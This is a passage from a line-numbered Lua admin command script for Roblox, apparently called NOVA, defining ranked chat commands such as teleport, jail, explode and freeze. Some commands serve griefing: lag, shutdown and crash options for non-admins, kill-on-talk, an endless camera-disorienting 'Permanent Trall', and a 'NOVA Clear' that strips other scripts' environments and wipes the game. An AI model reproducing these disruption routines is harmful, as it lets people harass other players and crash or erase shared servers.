                        RemoveTablets(Speaker)
2405
                        OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
2406
                    end
2407
                )
2408
                Output("Lag",NOVA.Colors.Red,Speaker,nil,
2409
                    function()
2410
                        NOVA.PRIType = "Lag"
2411
                        RemoveTablets(Speaker)
2412
                        OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
2413
                    end
2414
                )
2415
                Output("Shutdown",NOVA.Colors.Orange,Speaker,nil,
2416
                    function()
2417
                        NOVA.PRIType = "Shutdown"
2418
                        RemoveTablets(Speaker)
2419
                        OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
2420
                    end
2421
                )
2422
                Output("Crash",NOVA.Colors.Orange,Speaker,nil,
2423
                    function()
2424
                        NOVA.PRIType = "Crash"
2425
                        RemoveTablets(Speaker)
2426
                        OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
2427
                    end
2428
                )
2429
                Output("Dismiss",NOVA.Colors.Red,Speaker)
2430
            end
2431
        )
2432
        Output("Turn PRI On",NOVA.Colors.Red,Speaker,nil,
2433
            function()
2434
                NOVA.PRI = true
2435
                RemoveTablets(Speaker)
2436
                OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
2437
            end
2438
        )
2439
       
2440
        Output("Turn PRI Off",NOVA.Colors.Green,Speaker,nil,
2441
            function()
2442
                NOVA.PRI = false
2443
                RemoveTablets(Speaker)
2444
                OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
2445
            end
2446
        )
2447
       
2448
        Output("Dismiss",NOVA.Colors.Red,Speaker)
2449
    end
2450
)
2451
 
2452
--[[ GET COMMANDS ]]--
2453
 
2454
AddCommand("Get Ranked","getranked",0,"Displays all the current players ranks.","No Arguments",
2455
    function(Msg,Speaker)
2456
        if #Msg == 0 or Msg == nil then
2457
            RemoveTablets(Speaker)
2458
            for _,v in pairs(NOVA.Ranks) do
2459
                local RankNumber = v[1]
2460
                local RankName = v[2]
2461
                Output(RankName.." ("..(RankNumber)..")",Color3.new((RankNumber)/10,(RankNumber)/10,(RankNumber)/10),Speaker,nil,
2462
                    function()
2463
                        RemoveTablets(Speaker)
2464
                        for _,v in pairs(GetPlayersRaw()) do
2465
                            if GetRank(v) == RankNumber then
2466
                                OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,GetRankedTable(v).Color,Speaker,nil,
2467
                                    function()
2468
                                        PlayerInterface(v,Speaker)
2469
                                    end
2470
                                )
2471
                            end
2472
                        end
2473
                        Output("Done",NOVA.Colors.Blue,Speaker,nil,
2474
                            function()
2475
                                OnChatted(NOVA.Bet .. "getranked" .. NOVA.Bet,Speaker)
2476
                            end
2477
                        )
2478
                        Output("Dismiss",NOVA.Colors.Red,Speaker)
2479
                    end
2480
                )
2481
            end
2482
            Output("ALL",NOVA.Colors.Blue,Speaker,nil,
2483
                function()
2484
                    RemoveTablets(Speaker)
2485
                   
2486
                    for _,v in pairs(GetPlayersRaw()) do
2487
                        OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,GetRankedTable(v).Color,Speaker,nil,
2488
                            function()
2489
                                PlayerInterface(v,Speaker)
2490
                            end
2491
                        )
2492
                    end
2493
 
2494
                    Output("Done",NOVA.Colors.Blue,Speaker,nil,
2495
                        function()
2496
                            OnChatted(NOVA.Bet .. "getranked" .. NOVA.Bet,Speaker)
2497
                        end
2498
                    )
2499
                    Output("Dismiss",NOVA.Colors.Red,Speaker)
2500
                end
2501
            )    
2502
            Output("Dismiss",NOVA.Colors.Red,Speaker)
2503
        else
2504
            PlayerInterface(GetPlayers(Msg,Speaker)[1],Speaker)
2505
        end
2506
    end
2507
)
2508
 
2509
AddCommand("Set Description","setdesc",6,"Sets the selected player's description.","<Player><Description>",
2510
    function(Msg,Speaker)
2511
        Split = GetSplit(Msg)
2512
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
2513
            GetRankedTable(v).Desc = Msg:sub(Split+1)
2514
            SyncRankOutSingular(v)
2515
        end
2516
    end
2517
)
2518
 
2519
AddCommand("Get CMD","getcmd",0,"Toggles the CMD bar on your screen.","<BoolValue>",
2520
    function(Msg,Speaker)
2521
        if Msg == "true" then
2522
            GetRankedTable(Speaker).CMD = true
2523
        elseif Msg == "false" then
2524
            GetRankedTable(Speaker).CMD = false
2525
            pcall(function() Speaker.PlayerGui:FindFirstChild("NOVACMD"):Remove() end)
2526
        else Output("Please choose a proper bool value. ( true / false )",NOVA.Colors.Orange,Speaker,5)
2527
        end
2528
        SyncRankOutSingular(Speaker)
2529
    end
2530
)
2531
 
2532
AddCommand("Get Build Tools","getbtools",1,"Gives the speaker building tools.","No Arguments",
2533
    function(Msg,Speaker)
2534
        pcall(function()
2535
            for i=1,4 do
2536
                Instance.new("HopperBin",Speaker.Backpack).BinType = i
2537
            end
2538
        end)
2539
    end
2540
)
2541
 
2542
AddCommand("Get Reset","getreset",0,"Resets the speaker's character.","No Arguments",
2543
    function(Msg,Speaker)
2544
        pcall(function()
2545
            Speaker:LoadCharacter()
2546
        end)
2547
    end
2548
)
2549
 
2550
AddCommand("Get Fixed Character Appearance","get/fixchar",0,"Fixes the Speaker's character appearance.","No Arguments",
2551
    function(Msg,Speaker)
2552
        Speaker.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Speaker.userId
2553
    end
2554
)
2555
 
2556
AddCommand("Give Build Tools","givebtools",1,"Gives the selected player building tools.","<Player>",
2557
    function(Msg,Speaker)
2558
        pcall(function()
2559
            for _,v in pairs(GetPlayers(Msg,Speaker)) do
2560
                for i=1,4 do
2561
                    Instance.new("HopperBin",Speaker.Backpack).BinType = i
2562
                end
2563
            end
2564
        end)
2565
    end
2566
)
2567
 
2568
AddCommand("Set Rank","setrank",0,"Allows you to change the rank of others.","<Player><Rank>",
2569
    function(Msg,Speaker)
2570
        local Split = GetSplit(Msg)
2571
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
2572
            if GetRank(Speaker) > GetRank(v) then
2573
                if tonumber(Msg:sub(Split+1)) > GetRank(Speaker) then
2574
                    Output("You cannot set a rank that high.",NOVA.Colors.Orange,Speaker,5)
2575
                else
2576
                    GetRankedTable(v).Rank = tonumber(Msg:sub(Split+1))
2577
                    SyncRankOutSingular(v)
2578
                end
2579
            end
2580
        end
2581
    end
2582
)
2583
 
2584
AddCommand("Teleport","tp",2,"Teleports one player to another.","<Player><Player>",
2585
    function(Msg,Speaker)
2586
 
2587
        Split = GetSplit(Msg)              
2588
        send  = GetPlayers(string.sub(Msg,1,Split - 1),Speaker)
2589
        to = GetPlayers(string.sub(Msg,Split+1),Speaker)
2590
        for _,a in pairs(send) do
2591
            for _,b in pairs(to) do
2592
                pcall(function()
2593
                    a.Character.Torso.CFrame = b.Character.Torso.CFrame
2594
                end)
2595
            end
2596
        end
2597
       
2598
    end
2599
)
2600
 
2601
AddCommand("Circle Teleport","ctp",2,"Teleports one player to another.","<Player><Player>",
2602
    function(Msg,Speaker)
2603
 
2604
        Split = GetSplit(Msg)          
2605
        send  = GetPlayers(string.sub(Msg,1,Split - 1),Speaker)
2606
        to = GetPlayers(string.sub(Msg,Split+1),Speaker)[1]
2607
        for i, player in pairs(send) do
2608
            pcall(function()
2609
                player.Character.Torso.CFrame = CFrame.new(to.Character.Torso.Position)
2610
                * CFrame.Angles(0, math.rad(i * 360 / #send), 0)
2611
                * CFrame.new(0, 0, 3 + (#send*2) )
2612
            end)
2613
        end
2614
    end
2615
)
2616
 
2617
AddCommand("Walkspeed","ws",2,"Sets the selected player walkspeed to the following number.","<Player><Number>",
2618
    function(Msg,Speaker)
2619
        Split = GetSplit(Msg)                
2620
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
2621
            pcall(function() v.Character.Humanoid.WalkSpeed = tonumber(Msg:sub(Split+1)) end)
2622
        end
2623
    end
2624
)
2625
 
2626
AddCommand("Explode","expl",2,"Explodes the selected player.","<Player>",
2627
    function(Msg,Speaker)
2628
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2629
            pcall(function()
2630
                v.Character:BreakJoints()
2631
                E = Instance.new("Explosion",NOVA.Services.Workspace)
2632
                E.Position = v.Character.Torso.Position
2633
                E.BlastPressure = 124000
2634
            end)
2635
        end
2636
    end
2637
)
2638
 
2639
AddCommand("Infinite Health","inf",2,"Sets the selected player health to math.huge.","<Player>",
2640
    function(Msg,Speaker)
2641
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2642
            pcall(function()
2643
                v.Character.Humanoid.MaxHealth = math.huge
2644
            end)
2645
        end
2646
    end
2647
)
2648
 
2649
AddCommand("God","god",2,"makes the selected player god.","<Player>",
2650
    function(Msg,Speaker)
2651
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2652
            pcall(function()
2653
                v.Character.Torso.Touched:connect(function(part)
2654
                    if not part:IsDescendantOf(v.Character) and not part.Anchored == true and part ~= Crown then
2655
                        part.CanCollide = true
2656
                        part:BreakJoints()
2657
                        for i=1,3 do Instance.new("Fire",part).Color = Color3.new(255,255,255) end
2658
                    end
2659
                end)
2660
            end)
2661
        end
2662
    end
2663
)
2664
 
2665
AddCommand("Punish","punish",2,"Reparents the selected player's character parent lighting.","<Player>",
2666
    function(Msg,Speaker)
2667
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2668
            pcall(function()
2669
                v.Character.Parent = NOVA.Services.Lighting
2670
            end)
2671
        end
2672
    end
2673
)
2674
 
2675
AddCommand("Un Punish","unpunish",2,"Reparents the selected player's character parent workspace.","<Player>",
2676
    function(Msg,Speaker)
2677
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2678
            pcall(function()
2679
                v.Character.Parent = NOVA.Services.Workspace
2680
                v.Character:MakeJoints()
2681
                pcall(function() v.Character.Animate.Disabled = false end)
2682
            end)
2683
        end
2684
    end
2685
)
2686
 
2687
AddCommand("Freeze","freeze",2,"Anchor the selected player('s/s') character('s).","<Player>",
2688
    function(Msg,Speaker)
2689
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2690
            pcall(function()
2691
                for _,part in pairs(v.Character:GetChildren()) do
2692
                    pcall(function()
2693
                        part.Anchored = true
2694
                    end)
2695
                end
2696
            end)
2697
        end
2698
    end
2699
)
2700
 
2701
AddCommand("Thaw","thaw",2,"Un anchor the selected player('s/s') character('s).","<Player>",
2702
    function(Msg,Speaker)
2703
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2704
            pcall(function()
2705
                for _,part in pairs(v.Character:GetChildren()) do
2706
                    pcall(function()
2707
                        part.Anchored = false
2708
                    end)
2709
                end
2710
            end)
2711
        end
2712
    end
2713
)
2714
 
2715
AddCommand("Remove Tools","rtools",2,"Removes the selected player tools.","<Player>",
2716
    function(Msg,Speaker)
2717
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2718
            pcall(function()
2719
                for _,part in pairs(v.Backpack:GetChildren()) do
2720
                    part:Destroy()
2721
                end
2722
            end)
2723
        end
2724
    end
2725
)
2726
 
2727
AddCommand("Remove Backpack","rbp",2,"Removes the selected player backpack.","<Player>",
2728
    function(Msg,Speaker)
2729
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2730
            pcall(function()
2731
                v.Backpack:Destroy()
2732
            end)
2733
        end
2734
    end
2735
)
2736
 
2737
AddCommand("Sit","sit",2,"Makes the selected player sit down.","<Player>",
2738
    function(Msg,Speaker)
2739
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2740
            pcall(function() GetRecursiveChildren(v.Character,"Humanoid",3)[1].Name = "Humanoid" end)
2741
            pcall(function() v.Character.Humanoid.Sit = true end)
2742
        end
2743
    end
2744
)
2745
 
2746
AddCommand("Stand","stand",2,"Makes the selected player stand up.","<Player>",
2747
    function(Msg,Speaker)
2748
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2749
            pcall(function() GetRecursiveChildren(v.Character,"Humanoid",3)[1].Name = "Humanoid" end)
2750
            pcall(function() v.Character.Humanoid.Sit = false end)
2751
        end
2752
    end
2753
)
2754
 
2755
AddCommand("Jump","jump",2,"Makes the selected player jump.","<Player>",
2756
    function(Msg,Speaker)
2757
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2758
            pcall(function() GetRecursiveChildren(v.Character,"Humanoid",3)[1].Name = "Humanoid" end)
2759
            pcall(function() v.Character.Humanoid.Jump = true end)
2760
        end
2761
    end
2762
)
2763
 
2764
AddCommand("Control","control",2,"Controls the selected player","<Player>",
2765
    function(Msg,Speaker)
2766
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2767
            pcall(function()
2768
                Speaker.Character = v.Character
2769
            end)
2770
        end
2771
    end
2772
)
2773
 
2774
AddCommand("Transparent","trans",2,"Makes the selected player transparent","<Player>",
2775
    function(Msg,Speaker)
2776
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2777
            pcall(function()
2778
                for _,v in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
2779
                    coroutine.resume(coroutine.create(function()
2780
                        for i=1,10  do
2781
                            wait()
2782
                            v.Transparency = v.Transparency + 0.1
2783
                        end
2784
                    end))
2785
                end
2786
            end)
2787
        end
2788
    end
2789
)
2790
 
2791
AddCommand("Visible","visible",2,"Makes the selected player visible.","<Player>",
2792
    function(Msg,Speaker)
2793
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2794
            pcall(function()
2795
                for _,v in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
2796
                    coroutine.resume(coroutine.create(function()
2797
                        for i=1,10  do
2798
                            wait()
2799
                            v.Transparency = v.Transparency - 0.1
2800
                        end
2801
                    end))
2802
                end
2803
            end)
2804
        end
2805
    end    
2806
)
2807
 
2808
AddCommand("Remove Hats","rhats",2,"Remove the hat of the selected player.","<Player>",
2809
    function(Msg,Speaker)
2810
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2811
            pcall(function()
2812
                for _,part in pairs(v.Character:GetChildren()) do if part:IsA("Hat") then part:Remove() end end
2813
            end)
2814
        end
2815
    end
2816
)
2817
 
2818
AddCommand("Remove Humanoid","rhum",2,"Remove the humanoid of the selected player.","<Player>",
2819
    function(Msg,Speaker)
2820
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2821
            pcall(function()
2822
                for _,part in pairs(v.Character:GetChildren()) do if part:IsA("Humanoid") then part:Remove() end end
2823
            end)
2824
        end
2825
    end
2826
)
2827
 
2828
AddCommand("Jail","jail",2,"Puts the selected player in jail.","<Player>",
2829
    function(Msg,Speaker)
2830
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2831
            pcall(function()
2832
                coroutine.resume(coroutine.create(function()
2833
                    local MainCF = v.Character.Torso.CFrame
2834
                    local Main = Instance.new("Model",workspace)
2835
                    Main.Name = "Main"
2836
                    table.insert(NOVA.Jails,{Jail = Main, Player = v,Speaker = Speaker})
2837
                    for Pitch = 1, 360, 360 do
2838
                        for Yaw = 1, 360, 360/13 do
2839
                            for Angle = 1,180, 8 do
2840
                                local Part = Instance.new("Part",Main)
2841
                                Part.Name = "Part"
2842
                                Part.FormFactor = "Custom"
2843
                                Part.TopSurface = "Smooth"
2844
                                Part.BottomSurface = "Smooth"
2845
                                Part.Reflectance = 0
2846
                                Part.Transparency = 0
2847
                                Part.Anchored = true
2848
                                Part.Locked = true
2849
                                Part.CanCollide = true
2850
                                Part.BrickColor = BrickColor.new("Navy blue")
2851
                                Part.Size = Vector3.new(2,1,4)
2852
                                Part.CFrame = MainCF
2853
                                    * CFrame.Angles(math.rad(Pitch),math.rad(Yaw),math.rad(Angle))
2854
                                    * CFrame.new(0,5,0)
2855
                                local Mesh = Instance.new("BlockMesh",Part)
2856
                                Mesh.Scale = Vector3.new(1,1,0.1)
2857
                                if math.floor(Angle/5) == Angle/5 then
2858
                                    wait()
2859
                                end
2860
                            end
2861
                        end
2862
                    end
2863
                   
2864
                    v.Character.Torso.CFrame = MainCF
2865
                   
2866
                    while Main.Parent ~= nil do
2867
                        wait()
2868
                        pcall(function()
2869
                            if (v.Character.Torso.CFrame.p - MainCF.p).magnitude > 6 then
2870
                                v.Character.Torso.CFrame = MainCF
2871
                            end
2872
                        end)
2873
                    end
2874
                end))
2875
            end)
2876
        end
2877
    end
2878
)
2879
 
2880
AddCommand("Un Jail","unjail",2,"Un jails the selected player.","<Player>",
2881
    function(Msg,Speaker)
2882
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2883
            for Num,Jail in pairs(NOVA.Jails) do
2884
                if Jail.Player ~= nil and Jail.Player == v then
2885
                    pcall(function() Jail.Jail:Destroy() end)
2886
                    table.remove(NOVA.Jails,Num)
2887
                end
2888
            end
2889
        end
2890
    end
2891
)
2892
 
2893
AddCommand("NOVA Clear","NOVA",6,"Clears the game.","No Arguments",
2894
    function(Msg,Speaker)
2895
        for i,v in pairs(_G) do
2896
            if type(v) == "function" and getfenv(v).NOVA == nil then
2897
                for var,val in pairs(getfenv(v)) do
2898
                    pcall(function() getfenv(v)[var] = nil end)
2899
                end
2900
            end
2901
        end
2902
        for i,v in pairs(_G) do
2903
            _G[i] = nil
2904
        end
2905
        SetGlobals()
2906
        for _,v in pairs(NOVA.Services) do
2907
            v.Name = "Unknown Exception"
2908
        end    
2909
        for i,v in pairs(GetRecursiveChildren()) do
2910
            pcall(function()
2911
                if not v:IsA("Player") then
2912
                    pcall(function()
2913
                        if Prometheus ~= nil and v == Prometheus.script("lushmylife") then
2914
                        else
2915
                            pcall(function()
2916
                                v.Disabled = true
2917
                            end)
2918
                            pcall(function()
2919
                                NOVA.Services.Debris:AddItem(v,0)
2920
                            end)
2921
                        end
2922
                    end)
2923
                end
2924
            end)
2925
        end
2926
        for _,v in pairs(NOVA.Services) do    
2927
            v.Name = v.className
2928
        end
2929
        local Base=Instance.new("Part",NOVA.Services.Workspace)
2930
        Base.Name="Base"
2931
        Base.Size=Vector3.new(2048,1,2048)
2932
        Base.BrickColor=BrickColor.new("Bright green")
2933
        Base.Anchored=true
2934
        Base.Locked=true
2935
        Base.TopSurface="Smooth"
2936
        Base.Transparency = 1
2937
        Base.CFrame=CFrame.new(Vector3.new(0,0,0))
2938
        local Spawn=Instance.new("SpawnLocation",NOVA.Services.Workspace) Spawn.Name="SpawnLocation"
2939
        Spawn.Size=Vector3.new(6,1,6)
2940
        Spawn.Transparency=1
2941
        Spawn.CanCollide=false
2942
        Spawn.Anchored=true
2943
        Spawn.Locked=true
2944
        Spawn.CFrame=CFrame.new(Vector3.new(0,0,0))
2945
        for _,v in pairs(GetPlayersRaw()) do v:LoadCharacter() end
2946
    end
2947
)
2948
 
2949
AddCommand("ChangeTeam","changeteam",3,"Change the current team of the selected player.","<Player><TeamName>",
2950
    function (Msg,Speaker)
2951
        Split = GetSplit(Msg)
2952
        for _,v in pairs(GetPlayers(string.sub(Msg,1,Split - 1),Speaker)) do
2953
            pcall(function()
2954
                Team = nil
2955
                for _,find in pairs(NOVA.Services.Teams:GetChildren()) do
2956
                    if string.sub(find.Name:lower(),1,#string.sub(Msg,Split+1)) == string.lower(string.sub(Msg,Split+1)) then
2957
                        Team = find
2958
                    end
2959
                end
2960
                v.TeamColor = Team.TeamColor
2961
            end)
2962
        end
2963
    end
2964
)
2965
 
2966
AddCommand("Teams Remove","rteam",6,"Part of teams commands.","No Arguments",
2967
    function(Msg,Speaker)
2968
        RemoveTablets(Speaker)
2969
        for _,v in pairs(NOVA.Services.Teams:GetChildren()) do
2970
            if string.sub(v.Name:lower(),1,#Msg) == Msg:lower() then
2971
                v:Remove()
2972
            end
2973
        end
2974
    end
2975
)
2976
 
2977
AddCommand("Teams Add","newteam",6,"Part of teams commands.","<Name>",
2978
    function(Msg,Speaker)
2979
        Split = GetSplit(Msg)
2980
        Team = Instance.new("Team",NOVA.Services.Teams)
2981
        Team.TeamColor = BrickColor.new(Msg:sub(Split+1))
2982
        Team.Name = Msg:sub(1,Split-1)
2983
        Team.AutoAssignable = false
2984
        Team.Neutral = false
2985
    end
2986
)
2987
 
2988
AddCommand("Kill Talk","killtalk",6,"Kills the selected player when they talk.","<Players>",
2989
    function(Msg,Speaker)
2990
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2991
            v.Chatted:connect(function() pcall(function() v.Character:BreakJoints() end) end)
2992
        end
2993
    end
2994
)
2995
 
2996
AddCommand("Hoverseat","hoverseat",7,"Gives that player a hoverseat","<Players>",
2997
    function(Msg,Speaker)
2998
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2999
       
3000
                        local ride = Instance.new("VehicleSeat", Workspace)
3001
                        ride.Position = v.Character.Torso.Position
3002
                        ride.HeadsUpDisplay = false
3003
                        ride.Size = Vector3.new(3,3,3)
3004
                        local bg = Instance.new("BodyGyro", ride)
3005
                        bg.maxTorque = Vector3.new(1e10,1e10,1e10)
3006
                        local bp = Instance.new("BodyPosition", ride)
3007
                        bp.position = v.Character.Torso.Position
3008
                        bp.maxForce = Vector3.new(1e10,1e10,1e10)
3009
                        Mesh = Instance.new("SpecialMesh")
3010
                        Mesh.Parent = ride
3011
                        Mesh.MeshType = Enum.MeshType.Sphere
3012
                        ride.Transparency = 0.40000000596046
3013
 
3014
                        while wait() do
3015
                            bg.cframe = bg.cframe * CFrame.Angles(0,math.pi/60*(-ride.Steer),0)
3016
                            bp.position = bp.position + bg.cframe.lookVector*ride.Throttle
3017
                        end
3018
                       
3019
        end
3020
    end
3021
)
3022
 
3023
 
3024
 
3025
AddCommand("Kick Talk","kicktalk",6,"Kicks the player when they talk.","<Players>",
3026
    function(Msg,Speaker)
3027
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3028
            v.Chatted:connect(function() pcall(function() v:Destroy() end) end)
3029
        end
3030
    end
3031
)
3032
 
3033
AddCommand("Clear","clear",2,"Clears the workspace of its contents.","No Arguments",
3034
    function(Msg,Speaker)
3035
        for _,v in pairs(GetRecursiveChildren(NOVA.Services.Workspace)) do
3036
            if Prometheus ~= nil then
3037
                if v ~= Prometheus.script("lushmylife") then
3038
                    pcall(function()
3039
                        v:Destroy()
3040
                    end)
3041
                end
3042
            else
3043
                pcall(function()
3044
                    v:Destroy()
3045
                end)
3046
            end
3047
        end    
3048
       
3049
        local Base=Instance.new("Part",NOVA.Services.Workspace)
3050
        Base.Name="Base"
3051
        Base.Size=Vector3.new(2048,1,2048)
3052
        Base.BrickColor=BrickColor.new("Dark green")
3053
        Base.Anchored=true
3054
        Base.Locked=true
3055
        Base.TopSurface="Studs"
3056
        Base.Transparency = 0
3057
        Base.CFrame=CFrame.new(Vector3.new(0,0,0))
3058
        local Spawn=Instance.new("SpawnLocation",NOVA.Services.Workspace) Spawn.Name="SpawnLocation"
3059
        Spawn.Size=Vector3.new(6,1,6)
3060
        Spawn.Transparency=1
3061
        Spawn.CanCollide=false
3062
        Spawn.Anchored=true
3063
        Spawn.Locked=true
3064
        Spawn.CFrame=CFrame.new(Vector3.new(0,0,0))        
3065
        for _,v in pairs(GetPlayersRaw()) do
3066
            v:LoadCharacter()
3067
        end
3068
   
3069
    end
3070
)
3071
 
3072
AddCommand("Explorer","explorer",6,"Lists the children of workspace.","No Arguments",
3073
    function(Msg,Speaker)
3074
        RemoveTablets(Speaker)
3075
        Explore(game,Speaker)
3076
    end
3077
)
3078
 
3079
AddCommand("Lock Scripts","lockscripts",6,"Lets you toggle the script lock.","No Arguments",
3080
    function(Msg,Speaker)
3081
        if NOVA.LockedScripts == true then
3082
            NOVA.LockedScripts = false
3083
        elseif NOVA.LockedScripts == false then
3084
            NOVA.LockedScripts = true
3085
        end
3086
       
3087
    end
3088
)
3089
 
3090
AddCommand("Troll Explode","trollexpl",3,"Explodes the selected player in a group of trolls.","<Players>",
3091
    function(Msg,Speaker)
3092
        for _,v in pairs(GetPlayers(Msg,Speaker)) do    
3093
            for i=1,25 do
3094
                coroutine.resume(coroutine.create(function()
3095
                    wait()
3096
                    local Part = Instance.new("Part",NOVA.Services.Workspace)
3097
                    Part.FormFactor = "Custom"
3098
                    Part.Transparency = 1
3099
                    Part.CanCollide = false
3100
                    Part.Anchored = false
3101
                    Part.Locked = true
3102
                    Part.Size = Vector3.new(1,1,1)
3103
                    Part.CFrame = v.Character.Head.CFrame
3104
                    Part:BreakJoints()
3105
                   
3106
                    local BBG = Instance.new("BillboardGui",Part)
3107
                    BBG.Adornee = Part
3108
                    BBG.Size = UDim2.new(3,0,1,0)
3109
                    --BBG.StudsOffset = Vector3.new(0, 0, 1)
3110
 
3111
                    local Img = Instance.new("ImageLabel",BBG)
3112
                    Img.Size = UDim2.new(1,0,1,0)
3113
                    Img.BackgroundTransparency = 1
3114
                    Img.Image = "http://www.roblox.com/asset/?id=45120559"
3115
                   
3116
                    local BP = Instance.new("BodyPosition",Part)
3117
                    BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
3118
                    --BP.D = 2000
3119
                    BP.P = 1000
3120
                    BP.position = Part.Position + Vector3.new(
3121
                        math.random(-7,7),
3122
                        math.random(-7,7),
3123
                        math.random(-7,7))
3124
                       
3125
                    for v = 3,0,-0.1 do
3126
                        wait(0.1)
3127
                        BBG.Size = UDim2.new(v,0,v,0)
3128
                    end
3129
                    Part:Remove()
3130
                end))
3131
            end
3132
        end
3133
    end
3134
)
3135
 
3136
AddCommand("Cancel","cancel",3,"Cancels all running command loops.","No Arguments",
3137
    function(Msg,Speaker)
3138
        NOVA.Canceled = true
3139
    end
3140
)
3141
 
3142
AddCommand("Name","name",3,"Lets you re-name a player anything.","<Player><Name>",
3143
    function(Msg,Speaker)
3144
        Split = GetSplit(Msg)
3145
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
3146
            pcall(function()
3147
                local OldHead = v.Character.Head
3148
                local Model = Instance.new("Model",v.Character.Head)
3149
                Model.Name = Msg:sub(Split+1)
3150
                local Head = OldHead:Clone()
3151
                Head.Parent = Model
3152
                Head.Transparency = 0
3153
                Head.Name = "Head"
3154
                Head.CanCollide = false
3155
                local Hum = Instance.new("Humanoid",Model)
3156
                Hum.MaxHealth = 0
3157
                local Weld = Instance.new("Weld",Head)
3158
                Weld.Part0 = Head
3159
                Weld.Part1 = OldHead
3160
                Weld.C0 = CFrame.new(0,0,0)
3161
                OldHead.Transparency = 1
3162
            end)
3163
        end
3164
    end
3165
)
3166
 
3167
AddCommand("Secret Name","sname",3,"Lets you re-name a player anything.","<Player><Name>",
3168
    function(Msg,Speaker)
3169
        Split = GetSplit(Msg)
3170
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
3171
            pcall(function()
3172
                local Char = v.Character
3173
                Char.Archivable = true
3174
                Char = Char:Clone()
3175
                Char.Name = Msg:sub(Split+1)
3176
                v.Character:Destroy()
3177
                Char.Parent = workspace
3178
                v.Character = Char
3179
            end)
3180
        end
3181
    end
3182
)
3183
 
3184
AddCommand("Trall","trall",3,"Trolls the selected player.","<Player>",
3185
    function(Msg,Speaker)
3186
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3187
            CreateLocalScript([[
3188
                script.Parent = nil
3189
                LocalPlayer = game.Players.LocalPlayer
3190
                Camera = workspace.CurrentCamera
3191
                Camera.CameraType = "Scriptable"
3192
                for i=1,700 do
3193
                    wait()
3194
                    Camera = workspace.CurrentCamera
3195
                    Camera.CameraType = "Scriptable"
3196
                    Camera.FieldOfView = Camera.FieldOfView + math.random(-5,5)
3197
                    Camera.CameraType = "Scriptable"
3198
                    Camera:SetRoll(Camera:GetRoll()+0.01)
3199
                    pcall(function()
3200
                        LocalPlayer.Character.Head.Sound:Play()
3201
                    end)
3202
                end
3203
                Camera:SetRoll(0)
3204
                Camera.CameraType = "Custom"
3205
                Camera.FieldOfView = 70
3206
                Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid
3207
            ]],v.Backpack)
3208
        end
3209
    end
3210
)
3211
 
3212
AddCommand("Permanent Trall","permatrall",6,"Fake loopkills the selected player.","<Player>",
3213
    function(Msg,Speaker)
3214
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3215
            CreateLocalScript([[
3216
                script.Parent = nil
3217
                LocalPlayer = game.Players.LocalPlayer
3218
                Camera = workspace.CurrentCamera
3219
                Camera.CameraType = "Scriptable"
3220
                for i=1,math.huge do
3221
                    wait()
3222
                    Camera = workspace.CurrentCamera
3223
                    Camera.CameraType = "Scriptable"
3224
                    Camera.FieldOfView = Camera.FieldOfView + math.random(-5,5)
3225
                    Camera.CameraType = "Scriptable"
3226
                    Camera:SetRoll(Camera:GetRoll()+0.01)
3227
                    pcall(function()
3228
                        LocalPlayer.Character.Head.Sound:Play()
3229
                    end)
3230
                end
3231
                Camera:SetRoll(0)
3232
                Camera.CameraType = "Custom"
3233
                Camera.FieldOfView = 70
3234
                Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid
3235
            ]],v.Backpack)
3236
        end
3237
    end
3238
)
3239
 
3240
AddCommand("Show Credit","showcred",0,"Shows the credits.","No Arguments",
3241
    function(Msg,Speaker)
3242
        for _,v in pairs(NOVA.Credit) do
3243
            Output("Thanks to : "..v.Name.." "..v.Why,"Random",Speaker)
3244
        end
3245
    end
3246
)
3247
 
3248
AddCommand("Home","home",0,"Teleports you to the Vector3 0 50 0.","No Arguments",
3249
    function(Msg,Speaker)
3250
        pcall(function()
3251
            Speaker.Character.Torso.Velocity = Vector3.new(0,0,0)
3252
            Speaker.Character.Torso.RotVelocity = Vector3.new(0,0,0)
3253
            Speaker.Character.Torso.CFrame = CFrame.new(0,50,0)
3254
        end)
3255
    end
3256
)
3257
 
3258
